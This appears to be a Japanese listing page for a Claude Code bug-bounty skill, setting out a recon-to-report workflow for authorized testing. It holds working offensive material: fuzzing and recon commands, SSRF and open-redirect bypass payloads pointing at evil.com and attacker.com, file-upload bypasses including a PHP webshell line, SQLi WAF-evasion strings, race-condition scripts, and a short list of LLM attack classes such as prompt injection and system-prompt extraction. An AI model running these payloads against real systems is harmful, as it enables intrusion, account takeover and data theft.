bb-local-toolkit について
偵察、脆弱性の探索、検証、報告を扱うバグバウンティのワークフロースキルです。実際の影響と対象範囲を確認し、理論上の問題ではなく、関連する脆弱性の連鎖を追う方針を示します。
主な機能
- 01バグバウンティ各段階のガイダンス
- 02対象範囲と影響の検証ルール
- 03脆弱性の関連付けと連鎖手法
- 04偵察・テストツールの参考情報
- 05探索を絞り込むチェックリスト
活用シーン
- 01範囲内ターゲットの偵察計画
- 02疑わしい問題の実害の検証
- 03脆弱性確認後の関連エンドポイントのテスト
- 04証拠に基づく脆弱性報告の準備
インストール
コマンドをコピーしてターミナルで実行します。
npx skills add https:/ / github.com/ uphiago/ recon-skills --skill bb-local-toolkitインストール後、Claude Code で/bb-local-toolkitを入力して読み込まれたか確認します。
詳細
バグバウンティの完全なワークフロー
完全なパイプライン:偵察 → 学習 → ハント → 検証 → 報告。すべてを網羅する1つのスキルです。
重要なのは、この問いだけです
「通常とは異なる操作を何もしていない実際のユーザーに対して、攻撃者は今すぐこれを実行できますか? また、実害(資金の窃取、個人を特定できる情報(PII)の漏えい、アカウントの乗っ取り、コード実行)は発生しますか?」
答えが「いいえ」なら、そこで止めてください。書かないでください。それ以上調査せず、次に進んでください。
理論上のバグは時間の無駄です。以下はすぐに切り捨ててください。
| パターン | 切り捨てる理由 |
|---|---|
| 「理論上は可能性がある……」 | 悪用できないものはバグではありません |
| 「X、Y、Zの条件がそろえば、攻撃者が……」 | 前提条件が多すぎます |
| 「実装は誤っているが、実用上の影響はない」 | 誤りでも無害ならバグではありません |
| バグを含むデッドコード | 到達できないものはバグではありません |
| 秘密情報を含まないソースマップ | 影響がありません |
| DNS コールバックのみの SSRF | データの持ち出しか、内部へのアクセスが必要です |
| オープンリダイレクト単体 | アカウント乗っ取り(ATO)または OAuth の連鎖が必要です |
| 「連鎖の一部として利用できる可能性がある……」 | まず連鎖を組み立ててから報告してください |
実害を実証する必要があります。「可能性がある」だけではバグではありません。動作することを証明するか、切り捨ててください。
重要なルール
- まず対象範囲全体を読む -- すべてのアセット/ドメインが対象組織の所有物であることを確認してください
- 理論上のバグは報告しない -- 「攻撃者は今すぐ資金を盗む、PII を漏えいさせる、アカウントを乗っ取る、またはコードを実行できますか?」できないなら、そこで止めてください。
- 弱い発見はすぐに切り捨てる -- 報告を書く前に、7つの質問による判定を実施してください
- 書く前に検証する -- まず CHANGELOG、設計ドキュメント、デプロイスクリプトを確認してください
- 一度に調べるバグクラスは1つだけ -- 広く浅くではなく、深く調べてください
- データがすでに公開されていないか確認する -- API の「漏えい」を報告する前に、シークレットモードで Web UI を確認してください
- 5分ルール -- 5分間調査しても対象から何も得られない場合(すべて 401/403/404)、次に進んでください
- 影響を優先してハントする -- 「認証が破られた場合、最悪何が起きるか?」と問いかけてください。価値のあるものが何もなければ、その対象はスキップしてください
- 認証情報の漏えいには悪用の証拠が必要 -- キーを見つけただけでは不十分です。そのキーで何にアクセスできるかを必ず証明してください
- 浅い偵察を延々と続けない -- 403 を調査しない、分析用キーを grep しない、進展につながらないステージングドメインを調べないでください
- 脆弱性クラスよりビジネスへの影響を重視する -- 重大度は脆弱性の種類だけでなく、状況によって決まります
- 対象を深く理解する -- ハントを始める前に、実際のユーザーのようにアプリを使って学んでください
- 自動化に過度に頼らない -- 自動スキャンは WAF に阻まれ、レート制限を発動させ、誰もが見つけるのと同じバグを見つけます
- 競争の少ない脆弱性クラスをハントする -- XSS/SSRF/XXE は競争が最も激しい領域です。キャッシュポイズニング、Android/モバイルの脆弱性、ビジネスロジック、競合状態、OAuth/OIDC の連鎖、CI/CD パイプライン攻撃にも対象を広げてください
- 1時間ルール -- 1つの対象に1時間取り組んでも進展がない場合は、コンテキストを切り替えてください
- 2つの視点で取り組む -- 体系的なテスト(チェックリスト)と異常検知(予期しない挙動への注意)を組み合わせてください
- T字型の知識を身につける -- 1つの分野を深く掘り下げ、ほかのすべての分野について幅広く学んでください
ハント手法の全容(5段階の非線形ワークフロー、開発者心理のフレームワーク、セッションの規律、フェーズ別のコマンドラインの使い分け、Wide/Deep のルート選択)については、**
skills/bb-methodology/SKILL.md**を参照してください。
A→B バグシグナル手法(クラスター探索)
バグ A を見つけたら、近くにある B や C も体系的に探してください。 これはバグバウンティで最も強力な手法の1つです。単独のバグでも報奨金は得られますが、連鎖すれば3~10倍の報奨金になります。
既知の A->B->C チェーン
| バグ A(シグナル) | バグ B の調査 | C へのエスカレーション |
|---|---|---|
| IDOR(読み取り) | 同じエンドポイントで PUT/DELETE を試す | アカウントデータを完全に操作 |
| SSRF(種類を問わず) | クラウドメタデータ [REDACTED_IP] | IAM 認証情報を窃取 -> RCE |
| XSS(格納型) | セッション Cookie に HttpOnly が設定されているか確認 | セッション乗っ取り -> ATO |
| オープンリダイレクト | OAuth redirect_uri が自分のドメインを受け入れる | 認証コード窃取 -> ATO |
| S3 バケットの一覧表示 | JS バンドルを列挙 | OAuth client_secret を grep -> OAuth チェーン |
| レート制限の回避 | OTP をブルートフォース | アカウント乗っ取り |
| GraphQL のイントロスペクション | フィールド単位の認可がない | PII の大量窃取 |
| デバッグ用エンドポイント | 環境変数の漏えい | クラウド認証情報 -> インフラへのアクセス |
| CORS がオリジンを反映 | credentials: include を指定してテスト | 認証情報を使ったデータ窃取 |
| Host ヘッダーインジェクション | パスワードリセットのポイズニング | リセットリンク経由の ATO |
クラスターハントプロトコル(6 ステップ)
1. CONFIRM A Verify bug A is real with an HTTP request
2. MAP SIBLINGS Find all endpoints in the same controller/module/API group
3. TEST SIBLINGS Apply the same bug pattern to every sibling
4. CHAIN If sibling has different bug class, try combining A + B
5. QUANTIFY "Affects N users" / "exposes $X value" / "N records"
6. REPORT One report per chain (not per bug). Chains pay more.
実例
Coinbase の S3->バンドル->シークレット->OAuth チェーン:
A: S3 bucket publicly listable (Low alone)
B: JS bundles contain OAuth client credentials
C: OAuth flow missing PKCE enforcement
Result: Full auth code interception chain
Vienna チャットボットのチェーン:
A: Debug parameter active in production (Info alone)
B: Chatbot renders HTML in response (dangerouslySetInnerHTML)
C: Stored XSS via bot response visible to other users
Result: P2 finding with real impact
トップ 1% ハッカーのマインドセット
エリートハッカーはどう違う考え方をするか
平均的なハンター:ツールを実行し、チェックリストを確認し、30 分後に諦めます。 トップ 1%:アプリの内部構造について、頭の中にモデルを構築します。「このように動作するのはなぜか?」と問いかけます。「このエンドポイントは何をするのか?」ではなく、「どのようなビジネス上の判断から開発者はこのように構築したのか、そしてどんな近道を選んだ可能性があるか?」と考えます。
ハント前のメンタルフレームワーク
ステップ 1:最重要資産を考える
何かに触れる前に、こう問いかけます。「自分が攻撃者で、このアプリに対して 1 つだけ何かできるとしたら、最も大きな損害をもたらすのは何か?」
- 金融アプリ -> 資金を引き出し、攻撃者のアカウントに送金する
- 医療 -> PII の漏えい、HIPAA 違反
- SaaS -> テナント間のデータ漏えい、管理者アカウントの乗っ取り
- 認証プロバイダー -> SSO チェーン全体の侵害
ステップ 2:開発者の立場で考える
その機能を構築した開発者のように考えます。
- 最も簡単な実装方法は何か?
- 午前 2 時に疲れた開発者なら、どんな近道を選ぶか?
- 認証チェックはどこで行われるか――コントローラーか、ミドルウェアか、DB 層か?
- エンドポイント A を経由せずにエンドポイント B を呼び出すと、何が起きるか?
ステップ 3:信頼境界のマッピング
Client -> CDN -> Load Balancer -> App Server -> Database
^ ^ ^
Where does app STOP trusting input?
Where does it ASSUME input is already validated?
ステップ 4:機能間の相互作用を考える
- この新機能は既存の認証を再利用するか、それとも独自の認証を備えているか?
- モバイル API は Web アプリと認証ロジックを共有しているか?
- この機能を構築したのは同じチームか、それともサードパーティか?
トップ 1% のメンタルチェックリスト
- アプリの中核となるビジネスモデルを把握している
- 実際のユーザーとして 15 分以上アプリを使った
- 技術スタック(言語、フレームワーク、認証システム、キャッシュ)を把握している
- このプログラムで開示されたレポートを少なくとも 3 件読んだ
- テスト用アカウントを 2 つ用意してある(攻撃者 + 被害者)
- 主な標的を決めた:今日探す最重要資産を 1 つ
トップハンターから学ぶマインドセットのルール
「エンドポイントではなく機能を狙う」 -- ある機能を提供するエンドポイントをすべて見つけ、その間の相互作用をテストします。
「認可の不整合は味方」 -- アプリが 9 か所で認証をチェックし、10 か所目でチェックしていなければ、それがバグです。
「新しい機能 == 未レビュー」 -- 直近 30 日以内に公開された機能は、セキュリティ成熟度が最も低いものです。
「二次的な影響を考える」 -- 二次的な SSRF:URL が DB に保存され、cron ジョブによって取得されます。二次的な XSS:安全な形で保存されても、管理パネルで安全でない形でレンダリングされます。
「金の流れを追う」 -- 支払い、請求、クレジット、返金に関わる機能では、開発者が最も多くセキュリティ上の近道を選びます。
「モバイルアプリが使う API」 -- モバイルアプリは古い、または異なるバージョンの API を呼び出すことがよくあります。同じ会社でも攻撃対象領域は異なり、セキュリティ成熟度も低い傾向があります。
「差分からバグを見つける」 -- 古い API ドキュメントと新しいものを比較します。モバイル API と Web API を比較します。無料ユーザーがリクエストできる内容と、有料ユーザーがレスポンスで受け取る内容を比較します。
ツール
Go バイナリ
| ツール | 用途 |
|---|---|
| subfinder | パッシブなサブドメイン列挙 |
| httpx | 稼働中のホストを調査 |
| dnsx | DNS 解決 |
| nuclei | テンプレートスキャナー |
| katana | クロール |
| waybackurls | アーカイブ URL |
| gau | 既知の URL |
| dalfox | XSS スキャナー |
| ffuf | ファザー |
| anew | 重複を除いて追記 |
| qsreplace | パラメーター値を置換 |
| assetfinder | サブドメイン列挙 |
| gf | Grep パターン(xss、sqli、ssrf、redirect) |
| interactsh-client | OOB コールバック |
必要に応じてインストールするツール
| ツール | 用途 | インストール |
|---|---|---|
| arjun | 隠しパラメーターの検出 | pip3 install arjun |
| paramspider | URL パラメーターの収集 | pip3 install paramspider |
| kiterunner | API エンドポイントのブルートフォース | go install github.com/assetnote/kiterunner/cmd/kr@latest |
| cloudenum | クラウドアセットの列挙 | pip3 install cloud_enum |
| trufflehog | シークレットのスキャン | brew install trufflehog |
| gitleaks | シークレットのスキャン | brew install gitleaks |
| XSStrike | 高度な XSS スキャナー | pip3 install xsstrike |
| SecretFinder | JS シークレットの抽出 | pip3 install secretfinder |
| sqlmap | SQL インジェクション | pip3 install sqlmap |
| subzy | サブドメイン乗っ取り | go install github.com/LukaSikic/subzy@latest |
静的解析(Semgrep による簡易監査)
# Install: pip3 install semgrep
# Broad security audit
semgrep --config=p/security-audit ./
semgrep --config=p/owasp-top-ten ./
# Language-specific rulesets
semgrep --config=p/javascript ./src/
semgrep --config=p/python ./
semgrep --config=p/golang ./
semgrep --config=p/php ./
semgrep --config=p/nodejs ./
# Targeted rules
semgrep --config=p/sql-injection ./
semgrep --config=p/jwt ./
# Custom pattern (example: find SQL concat in Python)
semgrep --pattern 'cursor.execute("..." + $X)' --lang python .
# Output to file for analysis
semgrep --config=p/security-audit ./ --json -o semgrep-results.json 2>/dev/null
cat semgrep-results.json | jq '.results[] | select(.extra.severity == "ERROR") | {path:.path, check:.check_id, msg:.extra.message}'
FFUF の高度なテクニック
# THE ONE RULE: Always use -ac (auto-calibrate filters noise automatically)
ffuf -w wordlist.txt -u https://target.com/FUZZ -ac
# Authenticated raw request file — IDOR testing (save Burp request to req.txt, replace ID with FUZZ)
seq 1 10000 | ffuf --request req.txt -w - -ac
# Authenticated API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w wordlist.txt -H "Cookie: session=TOKEN" -ac
# Parameter discovery
ffuf -w ~/wordlists/burp-parameter-names.txt -u "https://target.com/api/endpoint?FUZZ=test" -ac -mc 200
# Hidden POST parameters
ffuf -w ~/wordlists/burp-parameter-names.txt -X POST -d "FUZZ=test" -u "https://target.com/api/endpoint" -ac
# Subdomain scan
ffuf -w subs.txt -u https://FUZZ.target.com -ac
# Filter strategies:
# -fc 404,403 Filter status codes
# -fs 1234 Filter by response size
# -fw 50 Filter by word count
# -fr "not found" Filter regex in response body
# -rate 5 -t 10 Rate limit + fewer threads for stealth
# -e .php,.bak,.old Add extensions
# -o results.json Save output
AI 支援ツール
- strix (usestrix.com) -- 初期スイープを自動化するオープンソースの AI スキャナー
フェーズ 1:偵察
標準的な偵察パイプライン
# Step 1: Subdomains
subfinder -d TARGET -silent | anew /tmp/subs.txt
assetfinder --subs-only TARGET | anew /tmp/subs.txt
# Step 2: Resolve + live hosts
cat /tmp/subs.txt | dnsx -silent | httpx -silent -status-code -title -tech-detect -o /tmp/live.txt
# Step 3: URL collection
cat /tmp/live.txt | awk '{print $1}' | katana -d 3 -silent | anew /tmp/urls.txt
echo TARGET | waybackurls | anew /tmp/urls.txt
gau TARGET | anew /tmp/urls.txt
# Step 4: Nuclei scan
nuclei -l /tmp/live.txt -severity critical,high,medium -silent -o /tmp/nuclei.txt
# Step 5: JS secrets
cat /tmp/urls.txt | grep "\.js$" | sort -u > /tmp/jsfiles.txt
# Run SecretFinder on each JS file
# Step 6: GitHub dorking (if target has public repos)
# GitDorker -org TARGET_ORG -d dorks/alldorksv3
クラウドアセットの列挙
# Manual S3 brute
for suffix in dev staging test backup api data assets static cdn; do
code=$(curl --max-time 30 --connect-timeout 10 -s -o /dev/null -w "%{http_code}" "https://${TARGET}-${suffix}.s3.amazonaws.com/")
[ "$code" != "404" ] && echo "$code ${TARGET}-${suffix}.s3.amazonaws.com"
done
API エンドポイントの検出
# ffuf API endpoint brute
ffuf -u https://TARGET/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints.txt -mc 200,201,301,302,403 -ac
HackerOne スコープの取得
curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"query { team(handle: \"PROGRAM_HANDLE\") { name url policy_scopes(archived: false) { edges { node { asset_type asset_identifier eligible_for_bounty instruction } } } } }"}' \
| jq '.data.team.policy_scopes.edges[].node'
クイックウィンのチェックリスト
- サブドメインの乗っ取り(
subjack、subzy) -
.gitの公開(/.git/config) - env ファイルの公開(
/.env、/.env.local) - 管理パネルのデフォルト認証情報
- JS シークレット(SecretFinder、jsluice)
- オープンリダイレクト(
?redirect=、?next=、?url=) - CORS の設定不備(
Origin: https://evil.comと認証情報を使ってテスト) - S3/クラウドバケット
- GraphQL イントロスペクションが有効
- Spring Actuator(
/actuator/env、/actuator/heapdump) - Firebase の読み取りが公開(
https://TARGET.firebaseio.com/.json)
技術のフィンガープリンティング
| シグナル | 技術 |
|---|---|
Cookie:XSRF-TOKEN + *_session | Laravel |
Cookie:PHPSESSID | PHP |
ヘッダー:X-Powered-By: Express | Node.js/Express |
レスポンス:wp-json/wp-content | WordPress |
レスポンス:{"errors":[{"message": | GraphQL |
ヘッダー:X-Powered-By: Next.js | Next.js |
フレームワーク別クイックウィン
Laravel:/horizon、/telescope、/.env、/storage/logs/laravel.log
WordPress:/wp-json/wp/v2/users、/xmlrpc.php、/?author=1
Node.js:/.env、/graphql(イントロスペクション)、/_debug
AWS Cognito:/oauth2/userInfo(Pool ID が漏えい)、CORS が任意のオリジンを反映
ソースコードの偵察
# Security surface
cat SECURITY.md 2>/dev/null; cat CHANGELOG.md | head -100 | grep -i "security\|fix\|CVE"
git log --oneline --all --grep="security\|CVE\|fix\|vuln" | head -20
# Dev breadcrumbs
grep -rn "TODO\|FIXME\|HACK\|UNSAFE" --include="*.ts" --include="*.js" | grep -iv "test\|spec"
# Dangerous patterns (JS/TS)
grep -rn "eval(\|innerHTML\|dangerouslySetInner\|execSync" --include="*.ts" --include="*.js" | grep -v node_modules
grep -rn "===.*token\|===.*secret\|===.*hash" --include="*.ts" --include="*.js"
grep -rn "fetch(\|axios\." --include="*.ts" | grep "req\.\|params\.\|query\."
# Dangerous patterns (Solidity)
grep -rn "tx\.origin\|delegatecall\|selfdestruct\|block\.timestamp" --include="*.sol"
言語別 Grep パターン
# JavaScript/TypeScript -- prototype pollution, postMessage, RCE sinks
grep -rn "__proto__\|constructor\[" --include="*.js" --include="*.ts" | grep -v node_modules
grep -rn "postMessage\|addEventListener.*message" --include="*.js" | grep -v node_modules
grep -rn "child_process\|execSync\|spawn(" --include="*.js" | grep -v node_modules
# Python -- pickle, yaml.load, eval, shell injection
grep -rn "pickle\.loads\|yaml\.load\|eval(" --include="*.py" | grep -v test
grep -rn "subprocess\|os\.system\|os\.popen" --include="*.py" | grep -v test
grep -rn "__import__\|exec(" --include="*.py"
# PHP -- type juggling, unserialize, LFI
grep -rn "unserialize\|eval(\|preg_replace.*e" --include="*.php"
grep -rn "==.*password\|==.*token\|==.*hash" --include="*.php"
grep -rn "\$_GET\|\$_POST\|\$_REQUEST" --include="*.php" | grep "include\|require\|file_get"
# Go -- template.HTML, race conditions
grep -rn "template\.HTML\|template\.JS\|template\.URL" --include="*.go"
grep -rn "go func\|sync\.Mutex\|atomic\." --include="*.go"
# Ruby -- YAML.load, mass assignment
grep -rn "YAML\.load[^_]\|Marshal\.load\|eval(" --include="*.rb"
grep -rn "attr_accessible\|permit(" --include="*.rb"
# Rust -- panic on network input, unsafe blocks
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "unsafe {" --include="*.rs" -B5 | grep "read\|recv\|parse\|decode"
grep -rn "as u8\|as u16\|as u32\|as usize" --include="*.rs" | grep -v "checked\|saturating\|wrapping"
フェーズ 2:学習(ハント前の情報収集)
公開済みレポートを読む
# By program on HackerOne
curl --max-time 30 --connect-timeout 10 -s "https://hackerone.com/graphql" \
-H "Content-Type: application/json" \
-d '{"query":"{ hacktivity_items(first:25, order_by:{field:popular, direction:DESC}, where:{team:{handle:{_eq:\"PROGRAM\"}}}) { nodes { ... on HacktivityDocument { report { title severity_rating } } } } }"}' \
| jq '.data.hacktivity_items.nodes[].report'
「変更点」メソッド
- 類似技術についての公開済みレポートを探す
- 修正コミットを取得する
- 差分を読み、アンチパターンを特定する
- 対象を検索し、同じアンチパターンを探す
脅威モデルのテンプレート
TARGET: _______________
CROWN JEWELS: 1.___ 2.___ 3.___
ATTACK SURFACE:
[ ] Unauthenticated: login, register, password reset, public APIs
[ ] Authenticated: all user-facing endpoints, file uploads, API calls
[ ] Cross-tenant: org/team/workspace ID parameters
[ ] Admin: /admin, /internal, /debug
HIGHEST PRIORITY (crown jewel x easiest entry):
1.___ 2.___ 3.___
トップレポートから得られた 6 つの重要パターン
- 機能の複雑さ = バグの攻撃対象領域 -- インポート、統合、マルチテナンシー、複数ステップのワークフロー
- 開発者間の実装の不統一 = 最も強い証拠 -- ある箇所では
timingSafeEqual、別の箇所では=== - 「else 分岐」のバグ -- プロキシ/ゲートウェイの else パスで、検証せずに未加工のトークンを渡す
- インポート/エクスポート = SSRF -- 「URL からインポート」する機能には、過去に例外なく SSRF が存在
- 二次/レガシーエンドポイント = 認証なし --
/api/v1/は保護されているが、/api/は保護されていない - 金融処理における競合ウィンドウ -- 確認と減算を 2 つの DB 操作で行うと、二重支払いが発生する
フェーズ 3:ハント
メモシステム(これなしでハントしないこと)
# TARGET: company.com -- SESSION 1
## Interesting Leads (not confirmed bugs yet)
- [14:22] /api/v2/invoices/{id} -- no auth check visible in source, testing...
## Dead Ends (don't revisit)
- /admin -> IP restricted, confirmed by trying 15+ bypass headers
## Anomalies
- GET /api/export returns 200 even when session cookie is missing
- Response time: POST /api/check-user -> 150ms (exists) vs 8ms (doesn't)
## Rabbit Holes (time-boxed, max 15 min each)
- [ ] 10 min: JWT kid injection on auth endpoint
## Confirmed Bugs
- [15:10] IDOR on /api/invoices/{id} -- read+write
サブドメインの種類 -> 調査戦略
- dev/staging/test:デバッグ用エンドポイント、無効化された認証、詳細なエラー
- admin/internal:デフォルトの認証情報、IP バイパス用ヘッダー(
X-Forwarded-For: 127.0.0.1) - api/api-v2:kiterunner で列挙し、古い未保護のバージョンを確認
- auth/sso:OAuth の設定ミス、
redirect_uriのオープンリダイレクト - upload/cdn:CORS、パストラバーサル、格納型 XSS
CVE を起点とした監査アプローチ
- CVE 評価セットを作成する -- 対象のコードベースに関する過去の CVE を 5~10 件収集します
- 過去のバグを再現する -- 古いコードでそのパターンを見つけられることを確認します
- パターンを現在のコードに照合する -- 現在のコードで同じアンチパターンを検索します
- 広い攻撃対象領域に注目する -- JS エンジン、パーサーなど、信頼できない外部入力を処理するもの
Rust/ブロックチェーンのソースコード(実践から得た教訓)
パニックが起きる経路:エンコードとデコード -- エンコード経路での .unwrap() は、攻撃者が引き起こすことはできません。悪用可能なのは、ネットワーク入力のデシリアライズ/デコード時に発生するパニックだけです。
「既知の TODO」は緩和策ではありません -- // Votes are not signed for now のようなコメントがあっても、安全であるとは限りません。
確認済みの脆弱性からパターンをもとに調査する -- verify_signed_vote に問題がある場合は、verify_signed_proposal と verify_commit_signature も確認します。
# Rust dangerous patterns (network-facing)
grep -rn "\.unwrap()\|\.expect(" --include="*.rs" | grep -v "test\|encode\|to_bytes\|serialize"
grep -rn "if let Ok\|let _ =" --include="*.rs" | grep -i "verify\|sign\|cert\|auth"
grep -rn "TODO\|FIXME\|not signed\|not verified\|for now" --include="*.rs" | grep -i "sign\|verify\|cert\|auth"
脆弱性調査チェックリスト
IDOR -- 安全でない直接オブジェクト参照
報奨金の支払対象となる Web2 の報告のうち、30% を占める最多の脆弱性クラスです。
IDOR の種類(10 通りのテスト方法)
| 種類 | テスト内容 |
|---|---|
| V1:直接 | URL パスのオブジェクト ID を変更します /api/users/123 -> /api/users/456 |
| V2:ボディパラメーター | POST/PUT の JSON ボディ内の ID を変更します {"user_id": 456} |
| V3:GraphQL ノード | { node(id: "base64(OtherType:123)") { ... } } |
| V4:バッチ/一括 | /api/users?ids=1,2,3,4,5 -- 複数の ID を一度にリクエストします |
| V5:ネスト | 親 ID を変更します:/orgs/{org_id}/users/{user_id} |
| V6:ファイルパス | /files/download?path=../other-user/file.pdf |
| V7:予測可能 | 連番の整数、タイムスタンプ、短い UUID |
| V8:メソッドの切り替え | GET が 403 を返す場合、同じエンドポイントで PUT/PATCH/DELETE を試します |
| V9:バージョンのロールバック | v2 がブロックされている場合、同じエンドポイントで /api/v1/ を試します |
| V10:ヘッダーの挿入 | X-User-ID: victim_id、X-Org-ID: victim_org |
IDOR テストチェックリスト
- 2 つのアカウントを作成します(A = 攻撃者、B = 被害者)
- A としてログインし、すべての操作を実行して、リクエスト内のすべての ID を記録します
- B としてログインし、B の認証情報を使って、A の ID を指定した A のリクエストを再送します
- ID を入れ替えてすべてのエンドポイントを試します -- GET だけでなく、PUT/DELETE/PATCH も試します
- API v1/v2 の違いを確認します
- GraphQL スキーマで node() クエリを確認します
- WebSocket メッセージにクライアント指定の ID がないか確認します
- バッチエンドポイントをテストします(複数の ID をリクエストできますか?)
- 想定外のパラメーターを追加して試します:
?user_id=other_user
IDOR の攻撃チェーン(高額の報奨金)
- IDOR + PII の読み取り = 中程度
- IDOR + 書き込み(他者のデータを変更)= 高
- IDOR + 管理者エンドポイント = 重大(権限昇格)
- IDOR + アカウント乗っ取りにつながる経路 = 重大
- IDOR + チャットボット(LLM が他のユーザーのデータを読み取る)= 高
SSRF -- サーバーサイドリクエストフォージェリ
- クラウドメタデータを試します:
http://[REDACTED_IP]/latest/meta-data/ - 内部サービスを試します:
http://127.0.0.1:6379/(Redis)、:9200(Elasticsearch)、:27017(MongoDB) - すべての IP バイパス手法をテストします(下の表を参照)
- プロトコルのバイパスをテストします:
file://、dict://、gopher:// - 次の箇所を調べます:Webhook URL、URL からのインポート、プロフィール画像の URL、PDF 生成ツール、XML パーサー
SSRF IP バイパステーブル(11 種類の手法)
| バイパス | ペイロード | 備考 |
|---|---|---|
| 10 進数 IP | http://2130706433/ | 127.0.0.1 を単一の 10 進数で表記 |
| 16 進数 IP | http://0x7f000001/ | 16 進数表記 |
| 8 進数 IP | http://0177.0.0.1/ | 8 進数の 0177 は 127 |
| 短縮 IP | http://127.1/ | 省略表記 |
| IPv6 | http://[::1]/ | IPv6 のループバック |
| IPv4 マップ IPv6 | http://[::ffff:127.0.0.1]/ | IPv4 マップ IPv6 |
| リダイレクトチェーン | http://attacker.com/302->http://[REDACTED_IP] | 各ホップを確認 |
| DNS リバインディング | 127.0.0.1 に名前解決するドメインを登録 | 最初の確認時は外部、フェッチ時は内部 |
| URL エンコード | http://127.0.0.1%[email protected] | パーサーの混乱 |
| 囲み英数字 | http://①②⑦.⓪.⓪.① | Unicode 数字 |
| プロトコルスマグリング | gopher://127.0.0.1:6379/_INFO | Redis/その他のプロトコル |
SSRF の影響チェーン
- DNS のみ=情報提供レベル(報告しないでください)
- 内部サービスにアクセス可能=中
- クラウドメタデータを読み取り可能=高(鍵の露出)
- クラウドメタデータとキーの流出=クリティカル(クラウド上でコード実行)
- Docker API にアクセス可能=クリティカル(直接的な RCE)
OAuth / OIDC
-
stateパラメーターの欠落 → CSRF -
redirect_uriがワイルドカードを許容 → ATO - PKCE の欠落 → コード窃取
- インプリシットフロー → リファラー経由でトークンが漏えい
- 認証後のリダイレクトにオープンリダイレクト → OAuth トークン窃取チェーン
オープンリダイレクトのバイパステーブル(11 種類の手法)
オープンリダイレクトを OAuth コード窃取につなげる際に使用します。
| バイパス | ペイロード | 備考 |
|---|---|---|
| URL の二重エンコード | %252F%252F | 二重デコード後に // になる |
| バックスラッシュ | https://target.com\@evil.com | 一部のパーサーは \ を / に正規化 |
| プロトコル省略 | //evil.com | プロトコル相対 URL |
| @ トリック | https://[email protected] | target.com がユーザー名になる |
| プロトコル相対 | ///evil.com | スラッシュ 3 つ |
| タブ/改行の挿入 | //evil%[EXAMPLE_DOMAIN] | ホスト名に空白文字を含める |
| フラグメントトリック | https://evil.com#target.com | フラグメントで検証を誤認させる |
| ヌルバイト | https://evil.com%00target.com | 一部のパーサーはヌルで切り詰める |
| パラメーター汚染 | ?next=target.com&next=evil.com | 最後の値が優先される |
| パスの混同 | /redirect/..%2F..%2Fevil.com | リダイレクトでのパストラバーサル |
| Unicode 正規化 | https://evil.com/target.com | 見た目による混同 |
ファイルアップロード
ファイルアップロードのバイパステーブル
| バイパス | 手法 |
|---|---|
| 二重拡張子 | file.php.jpg、file.php%00.jpg |
| 大文字・小文字の変更 | file.pHp、file.PHP5 |
| 代替拡張子 | .phtml、.phar、.shtml、.inc |
| Content-Type の偽装 | PHP コンテンツに image/jpeg ヘッダーを付与 |
| マジックバイト | GIF89a; <?php system($_GET['c']); ?> |
| .htaccess のアップロード | AddType application/x-httpd-php .jpg |
| SVG XSS | <svg onload=alert(1)> |
| 競合状態 | クリーンアップの実行前にアップロードして実行 |
| JPEG/PHP ポリグロット | 有効な JPEG であり、同時に有効な PHP でもあるファイル |
| Zip Slip | アーカイブ内のファイル名に ../../etc/cron.d/shell を指定 |
マジックバイトのリファレンス
| 種類 | 16 進数 |
|---|---|
| JPEG | FF D8 FF |
| PNG | 89 50 4E 47 0D 0A 1A 0A |
| GIF | 47 49 46 38 |
25 50 44 46 | |
| ZIP/DOCX/XLSX | 50 4B 03 04 |
競合状態
- クーポンコード/プロモーションコード
- ギフトカードの引き換え
- 資金の送金/引き出し
- 投票/評価の上限
- 競合状態を利用した OTP 検証のブルートフォース
seq 20 | xargs -P 20 -I {} curl --max-time 30 --connect-timeout 10 -s -X POST https://TARGET/redeem \
-H "Authorization: Bearer $TOKEN" -d 'code=PROMO10' &
wait
Turbo Intruder -- シングルパケット攻撃(すべてのリクエストを同時に到着させる)
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=1,
requestsPerConnection=1,
pipeline=False,
engine=Engine.BURP2)
for i in range(20):
engine.queue(target.req, gate='race1')
engine.openGate('race1') # all 20 fire in a single TCP packet
def handleResponse(req, interesting):
table.add(req)
ビジネスロジック
- カート内の負の数量
- 価格パラメーターの改ざん
- ワークフローのスキップ(例:チェックアウトせずに支払う)
- 登録フィールドを利用したロールの昇格
- ダウングレード後も特権が保持される
XSS -- クロスサイトスクリプティング
XSS シンク(これらを grep で検索)
// HIGH RISK
innerHTML = userInput
outerHTML = userInput
document.write(userInput)
eval(userInput)
setTimeout(userInput, ...) // string form
setInterval(userInput, ...)
new Function(userInput)
// MEDIUM RISK (context-dependent)
element.src = userInput // JavaScript URI possible
element.href = userInput
location.href = userInput
XSSチェーン(MediumからHigh/Criticalに深刻度を引き上げる)
- XSS + 機密性の高いページ(銀行、管理画面)= High
- XSS + CSRFトークンの窃取 = CSRFの回避 → Criticalな操作
- XSS + サービスワーカー = 複数ページにわたる永続的なXSS
- 偽のログインフォームによるXSS + 認証情報の窃取 = ATO
- チャットボットの応答に含まれるXSS = 保存型XSSチェーン
SQLインジェクション
検出
# Single quote test
' OR '1'='1
' OR 1=1--
' UNION SELECT NULL--
# Error-based detection
'; SELECT 1/0-- # divide by zero error reveals SQLi
最新のSQLi WAF回避
-- Comment variation
/*!50000 SELECT*/ * FROM users
SE/**/LECT * FROM users
-- Case variation
SeLeCt * FrOm uSeRs
-- URL encoding
%27 OR %271%27=%271
-- Unicode apostrophe
' OR '1'='1
GraphQL
イントロスペクション(単独ではInformationalですが、攻撃対象領域が明らかになります)
{ __schema { types { name fields { name type { name } } } } }
フィールドレベルの認証の欠如
# User query returns only own data
{ user(id: 1) { name email } }
# But node() bypasses per-object auth:
{ node(id: "dXNlcjoy") { ... on User { email phoneNumber ssn } } }
バッチ攻撃(レート制限の回避)
[
{"query": "{ login(email: \"[email protected]\", password: \"pass1\") }"},
{"query": "{ login(email: \"[email protected]\", password: \"pass2\") }"},
"...100 more..."
]
LLM/AI機能
- LLMに渡されるユーザー入力を介したプロンプトインジェクション
- AIが処理するドキュメント/URLを介した間接的なインジェクション
- チャット履歴のIDOR(会話IDを列挙)
- ロールプレイ/エンコーディングによるシステムプロンプトの抽出
- コマンドラインの悪用によるコード実行を介したRCE
